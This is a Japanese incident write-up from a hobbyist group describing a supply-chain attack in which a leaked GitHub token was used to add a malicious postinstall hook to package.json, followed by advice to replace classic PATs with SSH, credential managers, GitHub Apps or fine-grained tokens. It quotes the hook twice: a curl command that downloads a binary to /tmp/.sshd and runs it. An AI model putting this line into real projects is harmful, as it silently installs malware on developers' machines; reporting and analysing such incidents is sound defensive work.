はじめに
さて、当サークルでは、普段から GitHub 上でプロジェクトを管理しているわけですが、5/23、突如として、全体を巻き込む大騒動となりました。
package.json にサプライチェーン攻撃が仕込まれていたのです。今回は、その対応録と、そこで得られた GitHub PAT は使うな というお話をしたいと思います。
npm install した時になんか変な出力が!
いつも開発しているWebアプリに新しいパッケージを入れるため、普段と同じようにコマンドを叩きます。
hogehoge % bun install hogehoge
bun install v1.3.13 (bf2e2cec)
$ curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network-o /tmp/.sshd2>/dev/null &&chmod+x /tmp/.sshd && /tmp/.sshd &
Checked 111 installs across 112 packages (no changes) [29.00ms]
何かがおかしい...
なぜかcurlコマンドが実行されているのです。
package.jsonに隠されたスクリプト
これは明らかに package.json の script ではと package.json を確認してみました。
すると、しっかりと postinstall 欄に curl コマンドが見えました。
{
"scripts": {
"postinstall": "curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network-o /tmp/.sshd2>/dev/null &&chmod+x /tmp/.sshd && /tmp/.sshd &"
}
}
こんなスクリプト書いた覚えも、Pull Request を通した覚えもありません。
すぐさま git log で確認し、そのコミットを Push したメンバーに確認しました。
当たり前ですが、「そんなコミットはした覚えがない」と返ってきました。
つまりは、そのメンバーの認証情報が漏れて、サプライチェーン攻撃を仕掛けられていた ということです。
ちなみに、今回の話とは別ですが、npm はこういった攻撃を受けて依存関係の自動スクリプトをデフォルトで許可しない 仕様に変更されました。
原因究明
GitHub の Audit Log はそこそこ優秀で、誰がいつどこのリポジトリで、どの token を使ったか、どういう操作をしたかが如実にわかります。
ここにスクリーンショット等を貼ることはできませんが、ダウンロードしたログの CSV ファイル曰く、curl/8.7.1 で他のリポジトリも含めてブランチ保護ルールをバイパス(protected_branch.policy_override)されていました。
これにより、GPG の検証などを無視して main に Push することができてしまいます。
また、怖いことに、この token は随分前に既に漏れていた ようで、ほぼ全てのリポジトリが zip でダウンロードされていました。
場所は、アメリカやドイツなど、まぁ、そんな感じですよね、という印象です。
漏洩が発生した場所は、そのメンバーが昔に作った Web サーバーで .git ディレクトリが露出していたことでした。
(怖いって...)
また、実行したユーザーもいず、私も mac であまり問題があるようなスクリプトでもなかったため、ことなきを得ました。
PAT は使うな
今回の主な原因は、PAT の漏洩です。それ自体をまず防がねばならないというのはもちろんなのですが、そもそも PAT を使うべきではない と改めて感じました。
理由を端的に書くと、権限がデカすぎる ということと、保存場所が安全ではない からです。
では、代替方法も見ていきましょう。
代替方法①: GitHub GCM / SSH
これらは 人間が Git コマンドを使うとき に便利ですね。
PAT との違いは、リポジトリの .git ディレクトリに認証情報が保存されない ことです。
SSH は説明せずともお分かりかと思いますので割愛します。
GCM というのは、Git Credential Managerというもので、HTTPS などで認証した時の認証情報を、システムの認証情報マネージャーに保存します。
例えば、Apple Key Chain、Windows資格情報マネージャー、GPGなどです。Linux の場合は、デフォルト値がないので、下記ページを見て設定しましょう。
代替方法②: GitHub Apps
これらは、自動化処理をしている時に使えます。
例えば、ArgoCD でデータを取ってくるであったりなど、そういった場合にはこれを使うのが良いでしょう。
使い方は多岐に渡るので、詳細はここでは割愛します。
代替方法③: Fine-grained token
これらは、PAT の進化版 だと思えば良いです。
ただし、これらは権限管理を細かくできるものの、 PAT と同じく保存場所が安全ではない ので、可能であれば①や②を使いましょう。
作り方は、昔の PAT とほぼ同じです。
変更点としては、どのリポジトリ(もしくは Org)のどの権限まで与えるかを細かく設定できること です。
例えば、そもそも UniPro 関連のリポを一時的にサクッと使いたいだけの場合は、UniPro の公開リポのみで権限つけることも可能です。
他にも、さまざまな API に対して、Read Only で権限をつけたりすることが可能です。
参考文献
この記事は下記文献を用いて作成されました。
ありがとうございました。
https://zenn.dev/yuito_it/scraps/4cd14e0a905d65
https://socket.dev/blog/malicious-postinstall-hook-found-across-700-github-repos
https://docs.github.com/ja/apps/using-github-apps/about-using-github-apps
https://docs.github.com/ja/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens
UniProjectでは、
- 音楽
- プログラミング
- デジ絵
- 3D
- デザイン
などなど、さまざまなことをしています。
参加特典として、ProxmoxVEが無料で使えたり、K8sがあったりします。
興味がある方はぜひ、Discordへ!
HP: https://uniproject.jp
Discord: https://uniproject.jp/discord
